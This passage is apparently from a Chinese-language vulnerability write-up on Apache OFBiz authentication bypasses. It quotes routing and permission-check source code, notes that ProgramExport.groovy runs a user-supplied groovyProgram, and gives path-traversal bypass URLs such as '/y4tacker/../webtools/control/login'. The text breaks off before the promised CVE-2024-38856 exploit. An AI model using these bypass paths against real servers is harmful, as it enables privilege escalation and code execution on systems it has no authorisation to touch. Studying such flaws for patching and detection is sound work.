Apache OFBiz Authentication Bypass(CVE-2024-38856)

写在前面

​ 自去年CVE-2023-51467爆出后,起初我是不太想再看这个系统了,但年初连续的三个权限绕过相关的CVE编号(CVE-2024-25065/CVE-2024-32113/CVE-2024-36104)又让我产生了好奇,随着对三个历史漏洞分析的过程中,我也发现这三个漏洞的影响面其实并没有特别严重,但思路值得学习(本质是低权限账号提权,利用前提是需要知道低权限账号的密码),但随着进一步的深入分析,最终找到了一个新的利用方式,捡了一个前台RCE,在下文中,我将先对路由与鉴权做简单分析并穿插分析历史CVE的成因(CVE-2024-25065/CVE-2024-32113/CVE-2024-36104),最后分享CVE-2024-38856的利用以及一些对抗流量设备的点

路由与鉴权

(声明:以下仅介绍与漏洞相关必要代码)

Apache OFBiz的路由统一由org.apache.ofbiz.webapp.control.ControlServlet处理,在其doGET/doPOST方法中,首先用大量的代码完成了请求相关环境的初始化(字符集、日志以及上下文等),其后对具体的请求处理逻辑则是通过RequestHandler处理

image-20240623202154411

可以看到在org.apache.ofbiz.webapp.control.RequestHandler#doRequest

首先加载了配置信息,它会根据我们请求的上下文环境,解析配置文件webapp/xxxxx/WEB-INF/controller.xml,为方便讲解下文中的ControllerConfig统一用ccfg代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// org.apache.ofbiz.webapp.control.RequestHandler
// Parse controller config.
try {
ccfg = new ControllerConfig(getControllerConfig());
} catch (WebAppConfigurationException e) {
Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
throw new RequestHandlerException(e);
}

public ConfigXMLReader.ControllerConfig getControllerConfig() {
try {
return ConfigXMLReader.getControllerConfig(this.controllerConfigURL);
} catch (WebAppConfigurationException e) {
// FIXME: controller.xml errors should throw an exception.
Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
}
return null;
}

这里以webapp/partymgr/WEB-INF/controller.xml为例

简单看看这个配置文件,在前几行引入了一些通用的配置,另外在这里的注释中也提示我们如果存在preprocessor/postprocessor标签分别会执行预处理与后处理操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<include location="component://common/webcommon/WEB-INF/common-controller.xml"/>
<include location="component://common/webcommon/WEB-INF/security-controller.xml"/>
<include location="component://commonext/webapp/WEB-INF/controller.xml"/>
<include location="component://content/webapp/content/WEB-INF/controller.xml"/>
<description>Party Manager Module Site Configuration File</description>

<handler name="simplecontent" type="view" class="org.apache.ofbiz.content.view.SimpleContentViewHandler"/>

<!-- Events to run on every request before security (chains exempt) -->
<!--
<preprocessor>
</preprocessor>
-->
<!-- Events to run on every request after all other processing (chains exempt) -->
<!--
<postprocessor>
<event name="test" type="java" path="org.apache.ofbiz.webapp.event.TestEvent" invoke="test"/>
</postprocessor>
-->

在此配置文件中剩余部分则以路由以及路由属性相关配置为主

image-20240623203146560

在下文分析时,我们以登录路由/partymgr/control/login为例

从下面的代码来看,首先会根据我们请求的路径从ccfg中尝试匹配并取得对应配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
String path = request.getPathInfo();
String requestUri = getRequestUri(path);
String overrideViewUri = getOverrideViewUri(path);

Collection<RequestMap> rmaps = resolveURI(ccfg, request);
if (rmaps.isEmpty()) {
if (throwRequestHandlerExceptionOnMissingLocalRequest) {
throw new RequestHandlerException(requestMissingErrorMessage);
} else {
throw new RequestHandlerExceptionAllowExternalRequests();
}
}

String method = request.getMethod();
RequestMap requestMap = resolveMethod(method, rmaps).orElseThrow(() -> {
String msg = UtilProperties.getMessage("WebappUiLabels", "RequestMethodNotMatchConfig",
UtilMisc.toList(requestUri, method), UtilHttp.getLocale(request));
return new MethodNotAllowedException(msg);
});

而我们的login则在一开始引入的通用配置webcommon/WEB-INF/common-controller.xml

此配置文件开头先是定义了预处理与后处理相关事件操作,再往后看不难发现login相关配置,这里我们需要关注几个属性,security标签中的auth决定是否需要登录,event标签定义了如何处理事件,response标签定义返回类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<preprocessor>
<!-- Events to run on every request before security (chains exempt) -->
<event name="check509CertLogin" type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="check509CertLogin"/>
<event name="checkRequestHeaderLogin" type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="checkRequestHeaderLogin"/>
<event name="checkServletRequestRemoteUserLogin" type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="checkServletRequestRemoteUserLogin"/>
<event name="checkExternalLoginKey" type="java" path="org.apache.ofbiz.webapp.control.ExternalLoginKeysManager" invoke="checkExternalLoginKey"/>
<event name="checkJWTLogin" type="java" path="org.apache.ofbiz.webapp.control.JWTManager" invoke="checkJWTLogin"/>
<event name="checkProtectedView" type="java" path="org.apache.ofbiz.webapp.control.ProtectViewWorker" invoke="checkProtectedView"/>
<event name="extensionConnectLogin" type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="extensionConnectLogin"/>
</preprocessor>
<postprocessor>
<!-- Events to run on every request after all other processing (chains exempt) -->
</postprocessor>

xxxx省略xxxx
<request-map uri="login">
<security https="true" auth="false"/>
<event type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="login"/>
<response name="success" type="view" value="main"/>
<response name="requirePasswordChange" type="view" value="requirePasswordChange"/>
<response name="error" type="view" value="login"/>
</request-map>

继续回到我们的RequestHandler执行析,由于我们第一次进入不是链式请求(ControlServet中执行时定义了chain为null),所以这里我们直接看else分支,跳过部分无关代码

首先会执行我们的预处理事件,这其中包含了证书校验、是否通过header登录、JWT登录、多身份视图权限等(漏洞无关,感兴趣可自行看代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
if (chain != null) {
xxxxxxxxxxx
} else {
xxxxxxxxxxx

// Invoke the pre-processor (but NOT in a chain)
for (ConfigXMLReader.Event event: ccfg.getPreprocessorEventList().values()) {
try {
String returnString = this.runEvent(request, response, event, null, "preprocessor");
if (returnString == null || "none".equalsIgnoreCase(returnString)) {
interruptRequest = true;
} else if (!"success".equalsIgnoreCase(returnString)) {
if (!returnString.contains(":_protect_:")) {
throw new EventHandlerException("Pre-Processor event [" + event.invoke + "] did not return 'success'.");
} else { // protect the view normally rendered and redirect to error response view
returnString = returnString.replace(":_protect_:", "");
if (returnString.length() > 0) {
request.setAttribute("_ERROR_MESSAGE_", returnString);
}
eventReturn = null;
if (!requestMap.requestResponseMap.containsKey("protect")) {
if (ccfg.getProtectView() != null) {
overrideViewUri = ccfg.getProtectView();
} else {
overrideViewUri = EntityUtilProperties.getPropertyValue("security", "default.error.response.view", delegator);
overrideViewUri = overrideViewUri.replace("view:", "");
if ("none:".equals(overrideViewUri)) {
interruptRequest = true;
}
}
}
}
}
} catch (EventHandlerException e) {
Debug.logError(e, module);
}
}
}

如果以上预处理均通过之后,接下来则会判断路由是否需要认证

image-20240623212746207

如果需要认证则会取checkLogin对应的事件做处理并判断,从配置中可以看到,这个校验是通过方法org.apache.ofbiz.webapp.control.LoginWorker#extensionCheckLogin完成(还记得么,CVE-2023-49070就是通过?USERNAME=&PASSWORD=s&requirePasswordChange=Y绕过了此处的登录校验)

1
2
3
4
5
6
7
8
<request-map uri="checkLogin">
<description>Verify a user is logged in.</description>
<security https="true" auth="false"/>
<event type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="extensionCheckLogin"/>
<response name="success" type="view" value="main"/>
<response name="impersonated" type="view" value="impersonated"/>
<response name="error" type="view" value="login"/>
</request-map>

在之后则会调用我们url相关配置中对应的事件(这里需要注意如果事件返回为空则nextRequestResponse = ConfigXMLReader.emptyNoneRequestResponse)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// Invoke the defined event (unless login failed)
if (eventReturn == null && requestMap.event != null) {
if (requestMap.event.type != null && requestMap.event.path != null && requestMap.event.invoke != null) {
try {
long eventStartTime = System.currentTimeMillis();

// run the request event
eventReturn = this.runEvent(request, response, requestMap.event, requestMap, "request");

if (requestMap.event.metrics != null) {
requestMap.event.metrics.recordServiceRate(1, System.currentTimeMillis() - startTime);
}

// save the server hit for the request event
if (this.trackStats(request)) {
ServerHitBin.countEvent(cname + "." + requestMap.event.invoke, request, eventStartTime,
System.currentTimeMillis() - eventStartTime, userLogin);
}

// set the default event return
if (eventReturn == null) {
nextRequestResponse = ConfigXMLReader.emptyNoneRequestResponse;
}
} catch (EventHandlerException e) {
// check to see if there is an "error" response, if so go there and make an request error message
if (requestMap.requestResponseMap.containsKey("error")) {
eventReturn = "error";
Locale locale = UtilHttp.getLocale(request);
String errMsg = UtilProperties.getMessage("WebappUiLabels", "requestHandler.error_call_event", locale);
request.setAttribute("_ERROR_MESSAGE_", errMsg + ": " + e.toString());
} else {
throw new RequestHandlerException("Error calling event and no error response was specified", e);
}
}
}
}

对于我们举例说明的login,从配置看则是调用org.apache.ofbiz.webapp.control.LoginWorker#login完成登录

1
2
3
4
5
6
7
<request-map uri="login">
<security https="true" auth="false"/>
<event type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="login"/>
<response name="success" type="view" value="main"/>
<response name="requirePasswordChange" type="view" value="requirePasswordChange"/>
<response name="error" type="view" value="login"/>
</request-map>

接下来的代码逻辑,如果登陆不成功,则会重定向跳转并返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// if previous request exists, and a login just succeeded, do that now.
if (previousRequest != null && loginPass != null && "TRUE".equalsIgnoreCase(loginPass)) {
request.getSession().removeAttribute("_PREVIOUS_REQUEST_");
// special case to avoid login/logout looping: if request was "logout" before the login, change to null for default success view; do the same for "login" to avoid going back to the same page
if ("logout".equals(previousRequest) || "/logout".equals(previousRequest) || "login".equals(previousRequest) || "/login".equals(previousRequest) || "checkLogin".equals(previousRequest) || "/checkLogin".equals(previousRequest) || "/checkLogin/login".equals(previousRequest)) {
Debug.logWarning("Found special _PREVIOUS_REQUEST_ of [" + previousRequest + "], setting to null to avoid problems, not running request again", module);
} else {
if (Debug.infoOn()) Debug.logInfo("[Doing Previous Request]: " + previousRequest + showSessionId(request), module);

// note that the previous form parameters are not setup (only the URL ones here), they will be found in the session later and handled when the old request redirect comes back
Map<String, Object> previousParamMap = UtilGenerics.checkMap(request.getSession().getAttribute("_PREVIOUS_PARAM_MAP_URL_"), String.class, Object.class);
String queryString = UtilHttp.urlEncodeArgs(previousParamMap, false);
String redirectTarget = previousRequest;
if (UtilValidate.isNotEmpty(queryString)) {
redirectTarget += "?" + queryString;
}

callRedirect(makeLink(request, response, redirectTarget), response, request, ccfg.getStatusCodeString());
return;
}
}

ConfigXMLReader.RequestResponse successResponse = requestMap.requestResponseMap.get("success");

如果成功则继续向下执行,接下来会根据我们的返回结果选择对应视图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 设置下一个视图(如果成功,则不使用事件返回,而默认使用下一个视图(如果为 null,则稍后将其设置为 eventReturn);即使成功,如果响应类型为“none”,也忽略下一个视图,换句话说使用 eventReturn)
if (eventReturnBasedRequestResponse != null && (!"success".equals(eventReturnBasedRequestResponse.name) || "none".equals(eventReturnBasedRequestResponse.type))) nextRequestResponse = eventReturnBasedRequestResponse;

ConfigXMLReader.RequestResponse successResponse = requestMap.requestResponseMap.get("success");
if ((eventReturn == null || "success".equals(eventReturn)) && successResponse != null && "request".equals(successResponse.type)) {
// chains will override any url defined views; but we will save the view for the very end
if (UtilValidate.isNotEmpty(overrideViewUri)) {
request.setAttribute("_POST_CHAIN_VIEW_", overrideViewUri);
}
nextRequestResponse = successResponse;
}

// Make sure we have some sort of response to go to
if (nextRequestResponse == null) nextRequestResponse = successResponse;

if (nextRequestResponse == null) {
throw new RequestHandlerException("Illegal response; handler could not process request [" + requestMap.uri + "] and event return [" + eventReturn + "].");
}

根据视图类型决定下一步操作的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
if ("url".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a URL redirect." + showSessionId(request), module);
callRedirect(nextRequestResponse.value, response, request, ccfg.getStatusCodeString());
} else if ("url-redirect".equals(nextRequestResponse.type)) {
// check for a cross-application redirect
if (Debug.verboseOn())
Debug.logVerbose("[RequestHandler.doRequest]: Response is a URL redirect with redirect parameters."
+ showSessionId(request), module);
callRedirect(nextRequestResponse.value + this.makeQueryString(request, nextRequestResponse), response,
request, ccfg.getStatusCodeString());
} else if ("cross-redirect".equals(nextRequestResponse.type)) {
// check for a cross-application redirect
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Cross-Application redirect." + showSessionId(request), module);
String url = nextRequestResponse.value.startsWith("/") ? nextRequestResponse.value : "/" + nextRequestResponse.value;
callRedirect(url + this.makeQueryString(request, nextRequestResponse), response, request, ccfg.getStatusCodeString());
} else if ("request-redirect".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Request redirect." + showSessionId(request), module);
callRedirect(makeLinkWithQueryString(request, response, "/" + nextRequestResponse.value, nextRequestResponse), response, request, ccfg.getStatusCodeString());
} else if ("request-redirect-noparam".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Request redirect with no parameters." + showSessionId(request), module);
callRedirect(makeLink(request, response, nextRequestResponse.value), response, request, ccfg.getStatusCodeString());
} else if ("view".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);

// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
} else if ("view-last".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);

// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;

// as a further override, look for the _SAVED and then _HOME and then _LAST session attributes
Map<String, Object> urlParams = null;
if (session.getAttribute("_SAVED_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_SAVED_VIEW_NAME_");
urlParams = UtilGenerics.<String, Object>checkMap(session.getAttribute("_SAVED_VIEW_PARAMS_"));
} else if (session.getAttribute("_HOME_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_HOME_VIEW_NAME_");
urlParams = UtilGenerics.<String, Object>checkMap(session.getAttribute("_HOME_VIEW_PARAMS_"));
} else if (session.getAttribute("_LAST_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_LAST_VIEW_NAME_");
urlParams = UtilGenerics.<String, Object>checkMap(session.getAttribute("_LAST_VIEW_PARAMS_"));
} else if (UtilValidate.isNotEmpty(nextRequestResponse.value)) {
viewName = nextRequestResponse.value;
}
if (UtilValidate.isEmpty(viewName) && UtilValidate.isNotEmpty(nextRequestResponse.value)) {
viewName = nextRequestResponse.value;
}
if (urlParams != null) {
for (Map.Entry<String, Object> urlParamEntry: urlParams.entrySet()) {
String key = urlParamEntry.getKey();
// Don't overwrite messages coming from the current event
if (!("_EVENT_MESSAGE_".equals(key) || "_ERROR_MESSAGE_".equals(key)
|| "_EVENT_MESSAGE_LIST_".equals(key) || "_ERROR_MESSAGE_LIST_".equals(key))) {
request.setAttribute(key, urlParamEntry.getValue());
}
}
}
renderView(viewName, requestMap.securityExternalView, request, response, null);
} else if ("view-last-noparam".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);

// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;

// as a further override, look for the _SAVED and then _HOME and then _LAST session attributes
if (session.getAttribute("_SAVED_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_SAVED_VIEW_NAME_");
} else if (session.getAttribute("_HOME_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_HOME_VIEW_NAME_");
} else if (session.getAttribute("_LAST_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_LAST_VIEW_NAME_");
} else if (UtilValidate.isNotEmpty(nextRequestResponse.value)) {
viewName = nextRequestResponse.value;
}
renderView(viewName, requestMap.securityExternalView, request, response, null);
} else if ("view-home".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);

// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;

// as a further override, look for the _HOME session attributes
Map<String, Object> urlParams = null;
if (session.getAttribute("_HOME_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_HOME_VIEW_NAME_");
urlParams = UtilGenerics.<String, Object>checkMap(session.getAttribute("_HOME_VIEW_PARAMS_"));
}
if (urlParams != null) {
for (Map.Entry<String, Object> urlParamEntry: urlParams.entrySet()) {
request.setAttribute(urlParamEntry.getKey(), urlParamEntry.getValue());
}
}
renderView(viewName, requestMap.securityExternalView, request, response, null);
} else if ("none".equals(nextRequestResponse.type)) {
// no view to render (meaning the return was processed by the event)
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is handled by the event." + showSessionId(request), module);
}

如果登陆成功,则会渲染value对应的视图(可以看到view对应的value都是一些路由=>你发现了什么,如果发现了可以先自己看看,没有则继续看我分析)

1
2
3
<response name="success" type="view" value="main"/>
<response name="requirePasswordChange" type="view" value="requirePasswordChange"/>
<response name="error" type="view" value="login"/>

这里为方便理解其后的漏洞场景,这里我们换一个路由,以ProgramExport为例,查看对应配置,可以看到无论response如何响应其视图都是ProgramExport

1
2
3
4
5
<request-map uri="ProgramExport">
<security https="true" auth="true"/>
<response name="success" type="view" value="ProgramExport"/>
<response name="error" type="view" value="ProgramExport"/>
</request-map>

那么接下来我们来简单看看renderView是如何处理的,为方便理解这里我手动去除了大量漏洞主题无关代码,我们主要关注以下部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
private void renderView(String view, boolean allowExtView, HttpServletRequest req, HttpServletResponse resp, String saveName) throws RequestHandlerException {

xxxxxxxxxxxxxxxxx
if (viewMap.page == null) {
if (!allowExtView) {
throw new RequestHandlerException("No view to render.");
} else {
nextPage = "/" + oldView;
}
} else {
nextPage = viewMap.page;
}
ConfigXMLReader.ViewMap viewMap = null;
try {
viewMap = (view == null ? null : getControllerConfig().getViewMapMap().get(view));
} catch (WebAppConfigurationException e) {
Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
throw new RequestHandlerException(e);
}
if (viewMap == null) {
throw new RequestHandlerException("No definition found for view with name [" + view + "]");
}
xxxxxxxxxxxxxxxxx

try {
if (Debug.verboseOn()) Debug.logVerbose("Rendering view [" + nextPage + "] of type [" + viewMap.type + "]", module);
ViewHandler vh = viewFactory.getViewHandler(viewMap.type);
vh.render(view, nextPage, viewMap.info, contentType, charset, req, resp);
} catch (ViewHandlerException e) {
Throwable throwable = e.getNested() != null ? e.getNested() : e;
throw new RequestHandlerException(e.getNonNestedMessage(), throwable);
}

xxxxxxxxxxxxxxxxx
}

public ConfigXMLReader.ControllerConfig getControllerConfig() {
try {
return ConfigXMLReader.getControllerConfig(this.controllerConfigURL);
} catch (WebAppConfigurationException e) {
// FIXME: controller.xml errors should throw an exception.
Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
}
return null;
}

private RequestHandler(ServletContext context) {
this.controllerConfigURL = ConfigXMLReader.getControllerConfigURL(context);
try {
ConfigXMLReader.getControllerConfig(this.controllerConfigURL);
} catch (WebAppConfigurationException e) {

}
xxxxxxxxx

}

解析的配置对应配置文件中的这部分,type为screen对应MacroScreenViewHandler(对应配置文件下handler标签下type为view的配置),page对应nextPage也就是component://webtools/widget/EntityScreens.xml#ProgramExport

1
<view-map name="ProgramExport" type="screen" page="component://webtools/widget/EntityScreens.xml#ProgramExport"/>

接下来render的流程比较复杂,这里就不再一点一点分析了,简单来说就是根据nextPage解析对应字段参数,在这里即为EntityScreens.xml中的screenProgramExport的部分,对于其中的script字段也会去尝试解析执行ProgramExport.groovy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<screen name="ProgramExport">
<section>
<actions>
<set field="titleProperty" value="PageTitleEntityExportAll"/>
<set field="tabButtonItem" value="programExport"/>
<script location="component://webtools/groovyScripts/entity/ProgramExport.groovy"/>
</actions>
<widgets>
<decorator-screen name="CommonImportExportDecorator" location="${parameters.mainDecoratorLocation}">
<decorator-section name="body">
<screenlet>
<include-form name="ProgramExport" location="component://webtools/widget/MiscForms.xml"/>
</screenlet>
<screenlet>
<platform-specific>
<html><html-template location="component://webtools/template/entity/ProgramExport.ftl"/></html>
</platform-specific>
</screenlet>
</decorator-section>
</decorator-screen>
</widgets>
</section>
</screen>

查看ProgramExport.groovy,可以见得字段groovyProgram可控,从而造成任意代码执行,当然这里面还有一些代码限制,在上一次漏洞分析时我们已经提过了,这里就不再重复分析了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import org.apache.ofbiz.entity.Delegator
import org.apache.ofbiz.entity.GenericValue
import org.apache.ofbiz.entity.model.ModelEntity
import org.apache.ofbiz.base.util.*
import org.apache.ofbiz.security.SecuredUpload

import org.w3c.dom.Document

import org.codehaus.groovy.control.customizers.ImportCustomizer
import org.codehaus.groovy.control.CompilerConfiguration
import org.codehaus.groovy.control.MultipleCompilationErrorsException
import org.codehaus.groovy.control.ErrorCollector

String groovyProgram = null
recordValues = []
errMsgList = []

if (!parameters.groovyProgram) {
groovyProgram = '''
// Use the List variable recordValues to fill it with GenericValue maps.
// full groovy syntaxt is available

import org.apache.ofbiz.entity.util.EntityFindOptions

// example:

// find the first three record in the product entity (if any)
EntityFindOptions findOptions = new EntityFindOptions()
findOptions.setMaxRows(3)

List products = delegator.findList("Product", null, null, null, findOptions, false)
if (products != null) {
recordValues.addAll(products)
}


'''
parameters.groovyProgram = groovyProgram
} else {
groovyProgram = parameters.groovyProgram
}

// Add imports for script.
def importCustomizer = new ImportCustomizer()
importCustomizer.addImport("org.apache.ofbiz.entity.GenericValue")
importCustomizer.addImport("org.apache.ofbiz.entity.model.ModelEntity")
def configuration = new CompilerConfiguration()
configuration.addCompilationCustomizers(importCustomizer)

Binding binding = new Binding()
binding.setVariable("delegator", delegator)
binding.setVariable("recordValues", recordValues)

ClassLoader loader = Thread.currentThread().getContextClassLoader()
def shell = new GroovyShell(loader, binding, configuration)

if (UtilValidate.isNotEmpty(groovyProgram)) {
try {
// Check if a webshell is not uploaded but allow "import"
if (!SecuredUpload.isValidText(groovyProgram, ["import"])) {
logError("================== Not executed for security reason ==================")
request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason")
return
}
shell.parse(groovyProgram)
shell.evaluate(groovyProgram)
recordValues = shell.getVariable("recordValues")
xmlDoc = GenericValue.makeXmlDocument(recordValues)
context.put("xmlDoc", xmlDoc)
} catch(MultipleCompilationErrorsException e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
} catch(groovy.lang.MissingPropertyException e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
} catch(IllegalArgumentException e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
} catch(NullPointerException e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
} catch(Exception e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
}
}

接下来,在我们简单了解了整个解析流程后,我们再来看看这三个连续出现的CVE就显得不那么困难了

浅析连续出现三次的权限绕过漏洞

在一开始流程分析我们更需要注重对流程的分析,在漏洞分析过程我们则更需要注重具体的细节

之前网上发的Payload其实和这个CVE的漏洞没啥关系(/webtools/control/forgotPassowrd/../ProgramExport压根就不会走到这个权限校验的逻辑),这三个CVE本质是checkLogin事件中绕过org.apache.ofbiz.webapp.control.LoginWorker#hasBasePermission实现低权限用户的权限提升

分析前我先创建一个最小权限的账号(甚至没有正常登录后台的权限)(PS:此截图来源于V18.12.12),这个漏洞的作用就能帮助我们完成垂直越权

image-20240623232919733

CVE-2024-25065

权限绕过浅析

对账号的访问权限部分由org.apache.ofbiz.webapp.control.LoginWorker#hasBasePermission控制

在这里很显然只要我们能够让info为null即可跳过判断,查看ComponentConfig.getWebAppInfo的代码我们不难发现,判断条件是equals,因此只要我们能让其不相等即可,而这个contextPath变量来源于request.getContextPath()的执行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// org.apache.ofbiz.webapp.control.LoginWorker
public static boolean hasBasePermission(GenericValue userLogin, HttpServletRequest request) {
Security security = (Security) request.getAttribute("security");
if (security != null) {
ServletContext context = request.getServletContext();
String serverId = (String) context.getAttribute("_serverId");
// get a context path from the request, if it is empty then assume it is the root mount point
String contextPath = request.getContextPath();
if (UtilValidate.isEmpty(contextPath)) {
contextPath = "/";
}
ComponentConfig.WebappInfo info = ComponentConfig.getWebAppInfo(serverId, contextPath);
if (info != null) {
return hasApplicationPermission(info, security, userLogin);
} else {
if (Debug.infoOn()) {
Debug.logInfo("No webapp configuration found for : " + serverId + " / " + contextPath, module);
}
}
} else {
if (Debug.warningOn()) {
Debug.logWarning("Received a null Security object from HttpServletRequest", module);
}
}
return true;
}

// org.apache.ofbiz.base.component.ComponentConfig
public static WebappInfo getWebAppInfo(String serverName, String contextRoot) {
if (serverName == null || contextRoot == null) {
return null;
}
ComponentConfig.WebappInfo info = null;
for (ComponentConfig cc : getAllComponents()) {
for (WebappInfo wInfo : cc.getWebappInfos()) {
if (serverName.equals(wInfo.server) && contextRoot.equals(wInfo.getContextRoot())) {
info = wInfo;
}
}
}
return info;
}

这里为了方便大家的理解,我们可以看一下具体的函数实现

org.apache.catalina.connector.Request#getContextPath中,可以看到函数的返回与match相关

我们只需保证candidatecanonicalContextPath相等即可让match返回true(match = canonicalContextPath.equals(candidate);),而candidate的值是通过while循环取得,每次多取一级子目录的值,并经过url解码以及normalize后即为其值

因此我们很容易构造出这样的URL/y4tacker/../webtools/control/login,这样ContextPath的值中就会带上/y4tacker/../,显然不会再与配置中的值相等,从而实现绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
/**
* Return the portion of the request URI used to select the Context of the Request. The value returned is not
* decoded which also implies it is not normalised.
*/
@Override
public String getContextPath() {
int lastSlash = mappingData.contextSlashCount;
// Special case handling for the root context
if (lastSlash == 0) {
return "";
}

String canonicalContextPath = getServletContext().getContextPath();

String uri = getRequestURI();
int pos = 0;
if (!getContext().getAllowMultipleLeadingForwardSlashInPath()) {
// Ensure that the returned value only starts with a single '/'.
// This prevents the value being misinterpreted as a protocol-
// relative URI if used with sendRedirect().
do {
pos++;
} while (pos < uri.length() && uri.charAt(pos) == '/');
pos--;
uri = uri.substring(pos);
}

char[] uriChars = uri.toCharArray();
// Need at least the number of slashes in the context path
while (lastSlash > 0) {
pos = nextSlash(uriChars, pos + 1);
if (pos == -1) {
break;
}
lastSlash--;
}
// Now allow for path parameters, normalization and/or encoding.
// Essentially, keep extending the candidate path up to the next slash
// until the decoded and normalized candidate path (with the path
// parameters removed) is the same as the canonical path.
String candidate;
if (pos == -1) {
candidate = uri;
} else {
candidate = uri.substring(0, pos);
}
candidate = removePathParameters(candidate);
candidate = UDecoder.URLDecode(candidate, connector.getURICharset());
candidate = org.apache.tomcat.util.http.RequestUtil.normalize(candidate);
boolean match = canonicalContextPath.equals(candidate);
while (!match && pos != -1) {
pos = nextSlash(uriChars, pos + 1);
if (pos == -1) {
candidate = uri;
} else {
candidate = uri.substring(0, pos);
}
candidate = removePathParameters(candidate);
candidate = UDecoder.URLDecode(candidate, connector.getURICharset());
candidate = org.apache.tomcat.util.http.RequestUtil.normalize(candidate);
match = canonicalContextPath.equals(candidate);
}
if (match) {
if (pos == -1) {
return uri;
} else {
return uri.substring(0, pos);
}
} else {
// Should never happen
throw new IllegalStateException(
sm.getString("coyoteRequest.getContextPath.ise", canonicalContextPath, uri));
}
}

为什么这及个老漏洞利用必须要求登录

这是很多人都会犯错的地方,以为直接带个../就行了,事后问为什么我不能复现

